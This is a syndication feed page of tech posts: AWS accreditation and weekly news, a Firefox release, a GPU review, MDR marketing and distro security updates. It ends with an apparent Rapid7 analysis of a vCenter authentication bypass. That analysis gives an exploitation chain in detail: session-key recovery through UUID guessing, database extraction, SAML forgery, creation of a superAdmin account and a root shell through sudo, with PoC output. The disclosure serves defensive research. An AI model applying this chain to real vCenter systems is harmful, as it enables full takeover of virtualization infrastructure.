NATO Directive 32 establishes the security requirements for handling NATO Restricted information in public cloud, and is the directive referenced by Spain’s CCN-STIC-004 policy.
Public sector and defense organizations in Spain can use the AWS Europe (Spain) Region for national Difusión Limitada classified workloads and for NATO Restricted workloads. Under the shared responsibility model, customers that want to process classified information in the AWS Europe (Spain) Region engage the CCN and ONS to accredit their own systems, building on the AWS accreditation.
National security and defense customers may build on the AWS Trusted Secure Enclave, Sensitive Edition (TSE-SE) to design a cloud architecture for their sensitive workloads. Accreditation documentation is available to eligible customers through AWS Artifact. Customers can also work with their AWS account teams to understand how the Difusión Limitada and NATO Restricted accreditation, and TSE-SE apply to their use cases.
To learn more about AWS compliance in Spain, see the AWS ENS compliance page and the AWS Compliance Programs page.
For more details see AWS NATO Restricted and Difusión Limitada for AWS Europe (Spain) Region web page
Spanish version
Amazon Web Services (AWS) se complace en anunciar que ha obtenido la acreditación nacional de España “Difusión Limitada” y la acreditación NATO Restricted para la Región AWS Europa (España). La acreditación Difusión Limitada y NATO Restricted ha sido concedida por la Autoridad Delegada para la Seguridad de la Información Clasificada de España, la Secretaria de Estado Directora del Centro Nacional de Inteligencia (CNI). El Centro Criptológico Nacional (CCN), y la Oficina Nacional de Seguridad (ONS), son órganos de trabajo del CNI, que auditaron a AWS conforme a la política CCN-STIC-004 y a los requisitos aplicables de la ONS.
Con este hito, AWS se convierte en el primer proveedor cloud acreditado en el nivel NATO Restricted, y en el primero acreditado para Difusión Limitada en la Región AWS Europa (España). En España ha sido un doble logro: AWS cumplió primero los requisitos nacionales de Difusión Limitada y, sobre esta metodología nacional, obtuvo la acreditación NATO Restricted incorporando los requisitos de la Directiva 32 de la OTAN. Esto demuestra nuestro compromiso continuo de ayudar al sector público, a la defensa y a los clientes vinculados a la OTAN a ejecutar cargas de trabajo sensibles en la nube cumpliendo los requisitos de seguridad nacionales e internacionales más exigentes aplicables.
La acreditación Difusión Limitada y NATO Restricted del CNI confirma que el sistema de AWS en la Región AWS Europa (España) cumple los requisitos procedimentales y de seguridad para tratar información clasificada hasta el nivel Difusión Limitada y NATO Restricted.
El marco español de protección de la información clasificada nacional lo administran la ONS y el CCN, bajo el CNI. En 2026, España estableció el marco que permite tratar información Difusión Limitada en la nube pública comercial, en virtud del cual se ha concedido esta acreditación. La acreditación se basa en la certificación ENS categoría Alta de AWS y en las cualificaciones del Catálogo de Productos y Servicios de Seguridad TIC (CPSTIC) del CCN. El alcance de la acreditación incluye los servicios cualificados en CPSTIC y todos los servicios de AWS certificados en el ENS categoría Alta (consulte la lista de servicios de AWS en el alcance del ENS categoría Alta). Solo pueden utilizarse para cargas de trabajo Difusión Limitada y NATO Restricted los servicios de este alcance cualificados o certificados en el marco del CCN (CPSTIC y ENS categoría Alta) que se ejecuten en la Región AWS Europa (España).
La Directiva 32 de la OTAN establece los requisitos de seguridad para tratar información NATO Restricted en la nube pública, y es la directiva a la que hace referencia la política española CCN-STIC-004.
Las organizaciones del sector público y de defensa en España pueden utilizar la Región AWS Europa (España) para cargas de trabajo clasificadas nacionales Difusión Limitada, así como para cargas de trabajo NATO Restricted. Conforme al modelo de responsabilidad compartida, los clientes que quieran tratar información clasificada en la Región AWS Europa (España) deben dirigirse al CCN y a la ONS para acreditar sus propios sistemas, apoyándose en la acreditación de AWS.
Los clientes de seguridad nacional y defensa pueden apoyarse en AWS Trusted Secure Enclave, Sensitive Edition (TSE-SE) para diseñar una arquitectura cloud para sus cargas de trabajo sensibles. La documentación de la acreditación está disponible para los clientes elegibles a través de AWS Artifact. Los clientes también pueden trabajar con sus equipos de cuenta de AWS para entender cómo se aplican a sus casos de uso la acreditación Difusión Limitada y NATO Restricted y TSE-SE.
Para más información sobre el cumplimiento de AWS en España, consulte la página de cumplimiento ENS de AWS y la página de Programas de cumplimiento de AWS.
Para más detalles, consulte la página web de AWS sobre NATO Restricted y Difusión Limitada para la Región AWS Europa (España)
If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.
Post Syndicated from The Atlantic original https://www.youtube.com/watch?v=_ozs1IjwiUI
Post Syndicated from jzb original https://lwn.net/Articles/1109478/
Version
161.0 of the Firefox web browser has been released. Notable changes in this
release include the ability
to assign a shortcut to copy the current tab’s URL, addition of a menu item
for Tab Groups,
and the built-in
VPN can be turned off or on for specific sites. There are also a number of
security fixes in this release.
Post Syndicated from Ryan Smith original https://www.servethehome.com/asus-turbo-radeon-pro-ai-r9700-review/
Today we are taking a look at ASUS’s high-end Radeon AI inference card for workstations, the Turbo Radeon AI Pro R9700. With 32GB of RAM and a $2000 price tag, the card is a highly affordable way to fill out a workstation for local AI inference
The post ASUS Turbo Radeon AI PRO R9700 Review appeared first on ServeTheHome.
Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/dr-comparing-mdr-providers-scorecard
Choosing a managed detection and response (MDR) provider means committing budget, connecting systems, and trusting another team to act when your organization is under pressure. Yet a proposal promising 24×7 coverage, expert analysts, and fast response can leave important questions unanswered. Which systems will actually be monitored? What will analysts investigate before contacting you? What happens when an incident needs more work?
Before choosing a provider or renewing your current agreement, ask for evidence of how the service operates. Rapid7’s MDR Evaluation Scorecard gives you 18 checks to structure that conversation and record what still needs proving.
Ask a provider to walk you through a completed investigation, using an anonymized example where necessary. Follow the initial signal through the evidence considered, the analyst’s decision, and any response actions.
Suppose suspicious activity involves an account with access to a critical business system. Can the provider show how the account’s permissions, the systems within reach, and known weaknesses influenced its investigation? Can it explain what it ruled out and why it escalated or contained the activity?
This exercise helps you assess whether exposure context, intelligence, and customer telemetry work together. It also makes the division of work visible: what the provider investigated, what it decided, and what your team had to do next.
Use the same requirements for every provider, including your incumbent. Confirm the proposed service tier, supported integrations, response responsibilities, and total costs before comparing scores.
Be specific about incident response. Establish who handles containment, forensics, eradication, and mitigation, which actions require your approval, and whether additional work changes the bill. A demonstration should be supported by written commitments about the service you would receive.
Rapid7 MDR includes unlimited incident response, giving customers direct access to senior responders for digital forensics, eradication, and mitigation. When evaluating that commitment, ask us to explain the activities covered, how containment and remediation are coordinated, and which decisions remain with your team.
Apply the same scrutiny to intelligence. Ask for an example showing how an emerging threat led to detection updates, hunting activity, or customer guidance. Rapid7’s emerging-threat response process connects research, detection engineering, product, and communications. The useful evaluation question is how that process changes the protection and advice customers receive.
A detailed investigation record helps you understand what happened. Your next question should be what changed afterward.
Look for recommendations that led to stronger controls, better detections, or closed coverage gaps. Ask how the provider reviews completed actions and recurring problems with your team. When comparing reporting, check whether you can trace those improvements alongside investigation volumes and response measures.
The scorecard covers six areas: exposure-aware detection, intelligence, response ownership and cost, transparency, team expertise, and integration. Rate each capability against evidence, then record limitations, outstanding questions, and follow-up owners.
The total helps organize your comparison, but essential requirements deserve individual attention. A strong overall score cannot compensate for a response capability your organization needs and the proposed service excludes.
Download the MDR Evaluation Scorecard before your next provider review, shortlist meeting, or renewal discussion. Use it to make the evidence comparable and identify exactly what needs resolving before you commit.
Post Syndicated from Daniel Abib original https://aws.amazon.com/blogs/aws/aws-weekly-roundup-local-zone-in-bogota-30-minute-lambda-timeout-and-more-november-24-2026/
Some limits shape architecture more than any feature does. AWS Lambda launched in 2014 with a 60-second timeout, moved to 5 minutes in 2015 and to 15 minutes in 2018, and then stayed there for eight years. Last week the limit doubled, and in the same week Lambda learned to run on GPUs and gave platform teams their own runtimes. That is a lot of Lambda for one week.
Two other threads ran through the week. A new AWS Local Zone in Bogotá brought AWS infrastructure closer to users in Colombia. And AWS Security Token Service (AWS STS), Amazon Cognito, and Amazon CloudFront each shipped a piece of identity for agents: who an agent is when it shows up at your door, and how little it should be allowed to do. Now, let’s get into this week’s AWS news…
Headlines
AWS Local Zone in Bogotá, Colombia – AWS opened a new Local Zone in Bogotá, so you can now run applications that need single-digit millisecond latency closer to users in Colombia. AWS Local Zones place compute, storage, and networking near large metropolitan areas with the same APIs and tools as a Region, for workloads like real-time gaming, live streaming, and financial transactions. The Bogotá Local Zone supports Amazon EC2 C7i, M7i, and R7i instances, Amazon EBS gp3, gp2, and io1 volumes with local snapshots, Amazon S3 One Zone-Infrequent Access, Amazon ECS, Amazon EKS, AWS Direct Connect, and Application Load Balancer. To start, enable us-east-1-bog-1a in AWS Global View.
AWS Lambda now supports a 30-minute timeout for on-demand Event Functions – You can now configure any Event Function with a timeout of up to 30 minutes (1,800 seconds), double the previous limit, for synchronous, asynchronous, and event source mapping invocations. On Lambda Managed Instances, synchronous invocations also go to 30 minutes, while asynchronous and event source mapping invocations keep the 90-minute timeout from September. Standard Lambda pricing applies, in all commercial Regions. Agentic requests that chain model and tool calls, media transcoding, and file conversion are the workloads AWS calls out. Before raising the value, read the considerations in the Compute blog post: a service that invokes your function synchronously applies its own timeout, client read and socket timeouts need to be longer, and a NAT gateway drops idle connections after 350 seconds, so long calls need keep-alives. For longer work, durable functions still run for up to a year, and now emit OpenTelemetry traces.
AWS Lambda now supports GPU instances for Event Functions on Lambda Managed Instances – You can now run GPU-accelerated inference, media processing, rendering, and scientific computing as Lambda functions, packaged as OCI container images, with no GPU drivers, CUDA versions, or AMIs to reconcile. In the walkthrough, four concurrent requests shared one copy of the model on a single GPU and finished in about the same time as one. It’s optimized for inference with custom models, on G-series instances from G4dn to G6e. You pay the EC2 instance fee (Savings Plans and Reserved Instances apply), a 9.75% management fee for GPU instances, and $0.20 per million requests.
Last week’s launches
Here are some launches and updates from this past week that caught my attention:
Amazon Polly now supports voice cloning – You can now create a custom voice in Amazon Polly from a few minutes of recordings of a consenting speaker, running on the Polly generative engine. It launches in seven languages, including English, Spanish, and Portuguese, and each cloned voice speaks the language it was recorded in. Polly doesn’t keep the recordings or train on them. Creating a voice is free, and you pay for the speech you synthesize. It’s a gated release, so request access through your account team. The ML blog post covers brand-voice use cases for contact centers, voice agents, and content.
AWS Lambda now supports customer-managed runtimes – You can now manage a Lambda runtime as its own resource, separate from function deployment. Platform teams package approved SDKs, certificates, and security or monitoring agents as an OCI image in Amazon ECR, and functions pick up updates as Lambda recycles execution environments, with no per-function redeploys. Updates can be staged, with health metrics and rollback. There’s no additional charge, and the Compute blog walkthrough shows the platform-team workflow.
AWS STS announces GetScopedCredentials to scope down permissions at runtime – You can now take the temporary credentials a workload already holds and derive narrower ones, cutting permissions, session duration, or both. The result keeps the caller’s original identity, and permissions only ever narrow, so a sub-agent can never end up with more access than whoever created it. Access to the API is controlled with IAM policies, and every call lands in AWS CloudTrail. It’s available in all commercial Regions and beyond, including GovCloud (US) and China.
Amazon Cognito now supports dynamic client registration – You can now let MCP clients and AI agents register themselves at runtime (RFC 7591) instead of creating an app client in advance for each one. You choose between requiring an access token with a registration scope or opening registration to any client, and dynamically registered clients carry a client ID prefix so you can filter and manage them with the rest. It’s available on the Essentials and Plus plans, and client ID metadata documents arrived the same week.
Amazon CloudFront Functions now supports network calls – You can now call your own APIs from a function with cf.fetch() and act on the response, so authorization, personalization, or fraud checks that used to need Lambda@Edge or a trip to the origin can run at the edge. AWS’s own example: check an AI agent’s permissions and usage budget before the request reaches your API or MCP server. Network calls cost $0.10 per million on top of invocation charges and are included in the Pro flat-rate plan and above. The Networking blog post also covers cf.beacon() for background analytics.
Amazon Aurora DSQL now supports multi-Region peering across continents – You can now build a multi-Region Amazon Aurora DSQL cluster with peers on different continents, such as US East (N. Virginia) and Europe (Ireland), and read and write to one strongly consistent database from both. It was a busy week for DSQL: PL/pgSQL functions and procedures arrived, and storage upgrades brought up to 50% higher write throughput at no additional cost.
For a full list of AWS announcements, be sure to keep an eye on the What’s New with AWS page.
Other AWS news
Here are some additional posts and resources that you might find interesting:
How the BMW Group governs hundreds of agents across thousands of developers – With more than 12,500 developers in R&D, BMW treats governance as deterministic code outside the agent’s reasoning loop, mostly in the CI/CD pipeline, so neither the agent nor its prompts can override it.
AI coding agents on Amazon EC2 Mac: How Cognition scales Devin for macOS – Cognition starts a fresh macOS VM for each Devin session in under a minute on Amazon EC2 Mac hosts across six Regions. The detail worth stealing: sessions are decoupled from hosts, and Cognition reports that about 90% release their VM when idle and resume from a snapshot in seconds.
How Klaviyo processes 3 billion daily events at scale with Amazon MSK Express – Timely reading for Black Friday week. Klaviyo moved from RabbitMQ to Amazon MSK Express brokers to absorb roughly 7 times normal event volume during Black Friday and Cyber Monday. Running one set of processors across three priority topics, instead of separate infrastructure per level, cut costs by roughly 30%, according to the team.
Upcoming AWS events
Check your calendar and sign up for upcoming AWS events:
AWS re:Invent – It’s next week: join the community in Las Vegas from November 30 to December 4, or register for the free livestream to follow the keynotes and selected sessions remotely.
AWS Community Days – Find community-led technical talks, workshops, and hands-on learning near you. Check each organizer’s page for current dates and registration details.
Join the AWS Builder Center to connect with builders, share solutions, and access content that supports your development. Browse here for upcoming AWS-led in-person and virtual events and developer-focused events.
That’s all for this week. Check back next Monday for another Weekly Roundup!
– Daniel Abib
This post is part of our Weekly Roundup series. Check back each week for a quick roundup of interesting news and announcements from AWS!
Post Syndicated from jzb original https://lwn.net/Articles/1109472/
Security updates have been issued by AlmaLinux (aspell, curl, fence-agents, flatpak, flatpak-builder, freerdp, git-lfs, golang, grafana, grafana-pcp, gstreamer1-plugins-good, kernel, kernel-rt, libgsf, liblerc, mutter, netpbm, nodejs26, openssh, patch, perl-CGI, php, php:8.2, php:8.3, php:8.4, podman, python-oauthlib, python36:3.6, qt6-qtbase, rsync, ruby, ruby4.0, skopeo, sqlite, virt:rhel and virt-devel:rhel, wayland, webkit2gtk3, and xdg-desktop-portal), Debian (chromium, mediawiki, pymongo, and radsecproxy), Fedora (c-ares, clamav, libmodulemd, mimedefang, mycli, poppler, sqlite, tpm2-tss, xfsprogs, and xorg-x11-server-Xwayland), Gentoo (GPGME and GPL Ghostscript), Oracle (bind, bind9.18, cifs-utils, cockpit-files, cockpit-machines, curl, dovecot, edk2, expat, fence-agents, firefox, freerdp, gfs2-utils, grafana-pcp, java-1.8.0-openjdk, kernel, libgsf, librabbitmq, mingw-expat, netpbm, nginx, nodejs:26, openssh, perl-URI, php8.4, python-oauthlib, python3.9, qt5-qtbase, skopeo, sos, thunderbird, and xdg-desktop-portal), Red Hat (curl, libevent, libvirt, mariadb-connector-c, php8.4, php:8.2, python, python3, python3.11, python3.9, sssd, and thunderbird), SUSE (bind, cockpit, dpdk, helm, libXi, mozilla-nss, MozillaFirefox, mtools, nginx, parted, pcre2, python-M2Crypto, python-maturin, python-tornado, ruby2.5, ruby3.4, sbc, and shadow), and Ubuntu (libssh, linux-aws, linux-azure, linux-azure-fde, linux-gcp, linux-oracle, linux-azure, linux-azure-5.15, linux-azure-fde-5.15, linux-raspi, linux-azure, linux-azure-6.8, linux-azure-fde, linux-azure-fde-6.8, linux-azure-fips, linux-azure-5.4, linux-azure-fips, linux-azure-fde, linux-azure-fips, linux-azure-fde, linux-oracle, linux-oracle-7.0, linux-raspi, linux-realtime, linux-nvidia, linux-nvidia-6.8, linux-nvidia-lowlatency, python-oauthlib, qt6-5compat, ruby2.7, ruby2.5, ruby2.3, and tomcat10, tomcat11).
Post Syndicated from Jack Heysel original https://www.rapid7.com/blog/post/ra-rapid7-analysis-vmware-vcenter-srp-authentication-bypass-to-root-cve-2026-123890
An unauthenticated attacker can retrieve the session key for an in-progress administrator login to VMware vCenter’s directory service. The attacker then uses that key to complete the login without knowing the account’s password. The vulnerable interface is exposed through DCE/RPC on TCP port 2012.
The issue, tracked as CVE-2026-123890, combines a Secure Remote Password (SRP) session-key getter that is callable before authentication with an RPC context lookup that does not enforce ownership. The context handles use predictable UUIDv1 values. By creating two reference contexts around a pending login, an attacker can narrow the hidden login handle to a short timestamp window and ask the server for its key.
We reproduced the bypass against vCenter Server Appliance 8.0.2.00400, build 23929136, running Photon OS 4.0, and leveraged the resulting administrator connection through to root command execution. SSH and Bash access were initially disabled. The attack recovered the directory database and its Security Token Service (STS) signing key, forged an administrator API session, and used appliance administration features to create an account and enable SSH. Neither the existing SSO password nor the root password was an input to that chain.
The attacker needs network access to TCP 2012 and the name of an existing SSO principal. Our PoC uses the default SSO administrator principal, [email protected]; deployments using a different SSO domain need the corresponding account name. The attack does not depend on an existing authenticated connection or an administrator being online. The attacker initiates the login attempt in order to recover its session key.
The authenticated connection can call the directory database-copy interface. Its raw database contains the STS private signing key, allowing the attacker to sign administrator assertions that vCenter trusts. Our attack workflow used a forged assertion to create a local appliance superAdmin account, enable SSH and Bash, and execute commands as root through sudo. This final part requires access to the HTTPS API on TCP 443 and SSH on TCP 22, in addition to TCP 2012. It uses the administrative privileges obtained through the original bypass; no second vulnerability is needed once you have administrative RPC access.
// vmdir/server/vmdir/rpcsrpserv.c
long Srv_rpc_srp_verifier_get_session_key(
handle_t hServer,
srp_verifier_handle_t hSrp,
rpc_p_srp_bytes_container ret_key_cont)
{
// ...
struct SRPVerifier ver = (struct SRPVerifier *) hSrp; //[A1]
rpc_p_srp_bytes_container key_cont = NULL;
if (!ver)
{
sts = rpc_s_invalid_handle;
goto error;
}
key = srp_verifier_get_session_key(ver, &key_len); // [A2]
if (!key || key_len == 0)
{
sts = rpc_s_auth_nokey;
goto error;
}
sts = _srp_bytes_container_allocate(key, key_len, &key_cont);
if (sts)
{
goto error;
}
*ret_key_cont = key_cont; // [A3]
// ...
}
The SRP RPC getter receives an SRP verifier at [A1], obtains its session key at [A2], and returns a copy at [A3]. It checks whether the verifier and key exist. It does not check whether the caller has authenticated, whether the caller owns the verifier, or whether the SRP client has supplied a valid password proof.
The value at [A1] is a server-side pointer that the RPC runtime resolves from the context handle supplied in the request. Each newly created verifier context receives its own UUID, so the attacker needs the handle for the specific pending login they want to complete. These context UUIDs identify individual verifier instances; the fixed interface UUIDs identify the available RPC interfaces.
UUIDv1 values contain a timestamp, clock sequence, and node identifier. The attacker creates a verifier immediately before starting the target login and another immediately afterward, obtaining both reference UUIDs without authenticating. On the tested service, the reference UUIDs share their clock sequence and node identifier. The attacker reuses those fields and searches the intervening timestamps for the pending login’s live verifier, keeping the login connection open throughout the search.
// vmdir/thirdparty/csrp/srp.c
int srp_verifier_is_authenticated(struct SRPVerifier *ver)
{
return ver->authenticated; // [A4]
}
// ...
const unsigned char *srp_verifier_get_session_key(
struct SRPVerifier *ver, int *key_length)
{
if (key_length)
*key_length = hash_length(ver->hash_alg);
return ver->session_key; // [A5]
}
The underlying SRP library exposes the authentication flag separately at [A4]. Its key getter at [A5] does not consult that flag. The server has already computed the shared key while generating its challenge, because it needs that key to verify the client’s proof. Returning it at this stage gives the client the secret needed to produce that proof.
// dcerpc/idl_lib/ctxeectx.c
void rpc_ss_ee_ctx_from_wire(
ndr_context_handle *p_wire_context,
rpc_ss_context_t *p_context,
volatile error_status_t *p_st)
{
// ...
p_uuid = &p_wire_context->context_handle_uuid; // [B1]
// ... nil-handle check and table lock ...
this_link = &context_table[dce_uuid_hash(p_uuid,
(error_status_t *)p_st) % CALLEE_CONTEXT_TABLE_SIZE]; // [B2]
while (!dce_uuid_equal(p_uuid, &this_link->uuid,
(error_status_t *)p_st))
{
this_link = this_link->next_context;
// ... reject a missing entry ...
}
*p_context = this_link->user_context; /* [B3] */
// ...
}
The RPC runtime takes the supplied UUID at [B1], searches a process-wide table at [B2], and returns the associated context at [B3]. There is no comparison with the requesting connection or its authenticated identity. Although context creation records a client for lifetime management, that client is not part of this lookup’s authorization decision (hooray!!).
We confirmed the boundary directly: one anonymous RPC connection created an SRP verifier, and a second anonymous connection retrieved that verifier’s key before any password proof was sent. The first connection’s context handle was enough to make the second connection’s request succeed.
The service registers the helper with a secure-interface flag and an authentication callback. On the tested TCP path, however, the RPC executor retrieves those registration values and dispatches the server stub without enforcing the callback. Other directory handlers perform their own access checks. The SRP key getter has no equivalent check, leaving it reachable before authentication.
// dcerpc/uuid/uuidsys.c
void uuid__get_os_time(dce_uuid_time_t *uuid_time)
{
// ...
if (gettimeofday(&tp, (struct timezone *)0)) // [C1]
{
perror("uuid__get_os_time");
exit(-1);
}
uuid__uemul((long)tp.tv_sec, UUID_C_100NS_PER_SEC, &utc);
uuid__uemul((long)tp.tv_usec, UUID_C_100NS_PER_USEC, &usecs); // [C2]
UADD_UVLW_2_UVLW(&usecs, &utc, &utc);
// ... add the UUID epoch offset ...
The UUID timestamp generator reads the wall clock at [C1] and converts its microseconds into 100-nanosecond UUID ticks at [C2]. The resulting UUIDv1 handle also contains a clock sequence and node identifier. In our captures, those latter fields remain stable while newly created contexts advance through the timestamp space.
vmdir manages this SRP authentication exchange through the Generic Security Service API (GSS-API), which provides a common interface for authentication mechanisms. Starting the login creates an SRP verifier internally, but the login client does not receive its context handle.
An attacker can obtain reference handles by creating ordinary SRP verifiers through the helper interface. Creating one immediately before the GSS-API login and another immediately afterward bounds the timestamp of its hidden verifier. The shared node and clock-sequence fields then let the attacker construct candidate UUIDs within that interval.
The default search advances in increments of ten UUID ticks, matching the clock’s microsecond resolution. The generator also supports uniqueness adjustments within a clock tick, so the PoC includes a one-tick search mode. Clock changes, concurrent activity, and the chosen search bounds can affect recovery; exhausting the window does not establish that a target is patched.
The service exposes two relevant RPC interfaces on port 2012:
|
Interface |
UUID |
Operations used |
|---|---|---|
|
SRP verifier helper |
c7e94609-6ab0-4767-8e92-b6485bff1649 |
Create verifier, retrieve key, delete verifier |
|
vmdirdbcp |
72c780fe-af6b-42ba-9b02-f61f4ccc98ed |
SRP-authenticated bind, directory state, and database open/read/close |
The helper’s operation numbers are 0 for verifier creation, 1 for key retrieval, and 4 for deletion. GetState is operation 4 on the separate vmdirdbcp interface. The interface UUID is therefore part of identifying an operation; the operation number alone is ambiguous.
The client first creates a reference verifier, starts a separate SRP login as the target principal (e.g. [email protected]), and creates the second reference verifier. It keeps the login connection open while querying candidate handles over another anonymous connection. These are all connections controlled by the attacker.
GSS does not return the handle for its own verifier. A reference verifier for the same principal has a different session key, so retrieving that reference key does not complete the pending GSS login. We need the key from the verifier associated with the login connection; the reference handles only narrow the search for it.
In the final standalone PoC test, the reference handles were:
Before: 1d98c67a-e468-11f1-b101-000c29451b35 Hidden: 1d99c43a-e468-11f1-b101-000c29451b35 After: 1d9a8a14-e468-11f1-b101-000c29451b35
The interval between the reference timestamps was 115,610 UUID ticks, or about 11.56 milliseconds. The search recovered the hidden handle shown above after 5,083 queries. Four workers issued the queries in that Python test, so the count includes requests that were already in flight when the match was found.
The SRP verifier helper returns the pending login’s actual 20-byte session key. The attack does not need a weak password, a password hash from disk, or an invalid SRP public value.
M1 = SHA1((SHA1(N) XOR SHA1(g)) || SHA1(I) || s || A || B || K) HAMK = SHA1(A || M1 || K)
Here, I is the requested principal, N and g are the SRP group parameters, s is the server’s salt, and A and B are the public values exchanged during login. The server sends s alongside B in its initial SRP challenge, before the client supplies a password proof. The salt is public: a legitimate client uses it with the password to derive the values needed for authentication.
The client already has all of these inputs except K. Once the key getter supplies K, the client can calculate the normal client proof, M1, and verify the server’s response, HAMK.
The attack does not need a weak password, a password hash from disk, or an invalid SRP public value. Our client uses the valid public value A = 2 in the normal 2048-bit group. The reference verifiers use the cheaper 1024-bit group only to obtain the timing bounds.
The implementation hashes minimal big-endian integer representations. On the tested build, the returned B is 276 bytes because CSRP serializes k*v + g^b without first reducing the sum modulo N. Reducing or truncating that returned value while building the transcript produces the wrong proof.
The successful mechanism on this build is the legacy SRP OID 1.2.840.113554.1.2.10. Its token framing also differs from a conventional GSS wrapper: the outer length covers the OID, with the SRP state token following it. The client carries the exchange in SPNEGO bind and ALTER_CONTEXT messages, using RPC packet privacy. Matching that framing is necessary to reach the vulnerable authentication flow.
The client derives packet-protection keys from the recovered SRP key using the server’s normal implementation. PBKDF2-HMAC-SHA1 expands the key into 64 bytes using the principal as salt and 128 iterations. Those bytes supply an IV, material for the Kerberos AES-256 string-to-key operation, and a 16-byte HMAC key. RPC stubs are encrypted with AES-CBC and authenticated with HMAC-SHA1 over the ciphertext.
PoC output:
{"time": "2026-11-19T22:25:25.919835+00:00", "event": "session_key_disclosed", "uuid": "1d99c43a-e468-11f1-b101-000c29451b35", "key": "1f1476617a050b8e30388e0f58ed80d83f01aa02", "guesses": 5083, "seconds": 0.8774298130301759}
{"time": "2026-11-19T22:25:25.952425+00:00", "event": "srp_authentication_complete", "username": "[email protected]", "M1": "af03ad96cb799381bf8e9a30a412b4371e24729d", "HAMK": "537b2d5753f213304824551077bddd51ed6693ae", "password_supplied": false}
{"time": "2026-11-19T22:25:26.226964+00:00", "event": "protected_rpc_result", "operation": "RpcVmDirGetState", "state": 3, "status": 0, "plaintext": "0300000000000000"}
We used RpcVmDirGetState to test the resulting connection to 192.168.1.81. An anonymous request returned status 5, ACCESS_DENIED. The authenticated request above returned 0300000000000000: the little-endian directory state, 3 (Normal), followed by the operation’s success status, 0. The PoC checked the server’s SRP proof and the encrypted response’s MAC before accepting the result.
Key recovery took approximately 0.88 seconds in this run. The complete test retained the original RPC traffic and a packet capture with 15,343 packets and zero kernel drops.
This brings us to the end of exploiting CVE-2026-123890. We have demonstrated how we can authenticate to VMware vCenter’s directory service as the administrator user and will now outline how that access can be used to get root access to the device.
vmdir/server/vmdir/rpcserv.c, Srv_RpcVmDirOpenDatabaseFile:
// vmdir/server/vmdir/rpcserv.c
UINT32 Srv_RpcVmDirOpenDatabaseFile(
handle_t hBinding,
PWSTR pwszDBFileName,
vmdir_dbcp_handle_t *ppFileHandle)
{
// ...
DWORD dwRpcFlags = VMDIR_RPC_FLAG_ALLOW_TCPIP
| VMDIR_RPC_FLAG_REQUIRE_AUTH_TCPIP
| VMDIR_RPC_FLAG_REQUIRE_AUTHZ;
// ...
dwError = _VmDirRPCCheckAccess(hBinding, dwRpcFlags,
pszDomainDn, &pAccessToken); // [D1]
BAIL_ON_VMDIR_ERROR(dwError);
// ... validate arguments and convert the filename ...
dwError = _VmDirRemoteDBCopyWhiteList(pszDBFileName); // [D2]
BAIL_ON_VMDIR_ERROR(dwError);
// ...
if ((pFileHandle = fopen(pszDBFileName, "rb")) == NULL)
{
// ... report the open failure and take the error path ...
}
*ppFileHandle = pFileHandle; // [D3]
// ...
The database-copy handler requires authentication and authorization at [D1]. The earlier bypass satisfies those checks as the SSO administrator. The filename passes a database-path allowlist at [D2], and the handler returns a file context at [D3]. We requested /storage/db/vmware-vmdir/data.mdb through that interface.
The IDL assigns operation 0 to open, 1 to read, and 2 to close. The open request carries a reference wide string and an initially empty context handle. Each read supplies the returned context, a byte count, and an empty output container. Reads continue until the server returns a zero byte count.
Our first complete export contained 16.22 MB. We used 2,048-byte reads so the response, encryption padding, and verifier fit into a single RPC fragment. The directory stayed in state 3, Normal; we did not call RpcVmDirSetBackendState or take the service offline. These calls copy the live file rather than producing a transaction-consistent backup. The downloaded file contained the signing credential needed for the next step.
The TenantCredential-1 record in data.mdb contains the STS RSA private key and its certificate chain. Metasploit already provides extraction and SAML-signing code in vcenter_offline_mdb_extract and vcenter_forge_saml_token. We reused those implementations, matched the signing certificate to the recovered private key, and verified its VMCA issuer.
The signed assertion identifies [email protected] and carries the existing template’s administrator group claims, including SystemConfiguration.Administrators. The issuer uses the appliance’s STS identity, and the assertion includes a short validity window. Once the XML is signed, changing its whitespace can invalidate the digest, so the client preserves its compact serialization.
lib/msf/core/exploit/remote/http/vmware_vcenter.rb, API login:
token = Base64.strict_encode64(Zlib.gzip(assertion)) # [E1]
response = vcenter_api_request(
'POST', %w[com vmware cis session], port: port, host: host,
headers: { 'Authorization' => "SIGN token=\"#{token}\"" }
)
session_id = vcenter_api_value(response) # [E2]
The client gzip-compresses and Base64-encodes the assertion at [E1], following the vendor REST SDK’s SAML login example. A successful POST /rest/com/vmware/cis/session returns the API session ID at [E2]. Subsequent requests carry it in the vmware-api-session-id header. Our forged assertion returned HTTP 200 and authorized reads of the appliance’s SSH and Bash settings.
The authenticated API session gives us a way to create credentials that SSH will accept. We created a fresh local account through the appliance local-accounts API, assigning the superAdmin role. This is an operating-system account on the appliance; creating it does not require changing an existing account’s password.
The tested build accepts the account-creation request through the legacy REST route POST /rest/appliance/local-accounts/<username>, with its configuration inside a config object. The configuration supplies the generated password, roles: [“superAdmin”], and enabled: true. The same API session enables SSH with PUT /rest/appliance/access/ssh and {“enabled”:true}, then enables Bash with PUT /rest/appliance/access/shell and {“config”:{“enabled”:true,”timeout”:600}}.
/etc/sudoers.d/applmgmt on the tested appliance:
%superAdmin ALL= PASSWD: ALL, NOPASSWD: OPERATOR_N, ADMINISTRATOR_N
That sudo rule allows the new account to run commands as root using its own generated password. An SSH login initially enters the appliance CLI, so the client requests a PTY and starts shell /bin/bash. After answering the appliance’s sudo password prompt, it starts sudo -n /bin/bash -i on the same terminal. The sudo timestamp from that authentication permits the retained root shell.
We verified uid=0(root) gid=0(root) groups=0(root),4044(shellaccess) through the resulting SSH connection. This account and password were created by the forged API session; the supplied lab root credentials were used separately for inspection and were not used to obtain this shell.
Using the sessions in Metasploit
[*] 192.168.1.81:2012 - Recovered the pending session key after 17337 guesses in 8.12 seconds [*] 192.168.1.81:2012 - Recovered context 688f5878-e487-11f1-b101-000c29451b35, key f56a33e23fad8b8d340c8ca0887aebe1fb793bab [+] 192.168.1.81:2012 - Authenticated as [email protected] without a password; protected directory state: 3 [+] 192.168.1.81:2012 - Saved authentication evidence to /Users/jheysel/codex_research/vsphere_armory_castle_20261119/metasploit/config/loot/20261119190933_default_192.168.1.81_vmware.vmdir.srp_059381.json [*] VMware directory RPC session 3 opened (192.168.1.70:61547 -> 192.168.1.81:2012) at 2026-11-19 19:09:34 -0700 [*] 192.168.1.81:2012 - Interacting with vmdir session 3; use background to return to msfconsole vmdir > whoami Authenticated SSO principal: [email protected] vmdir > state Directory state: 3 vmdir > state Directory state: 3
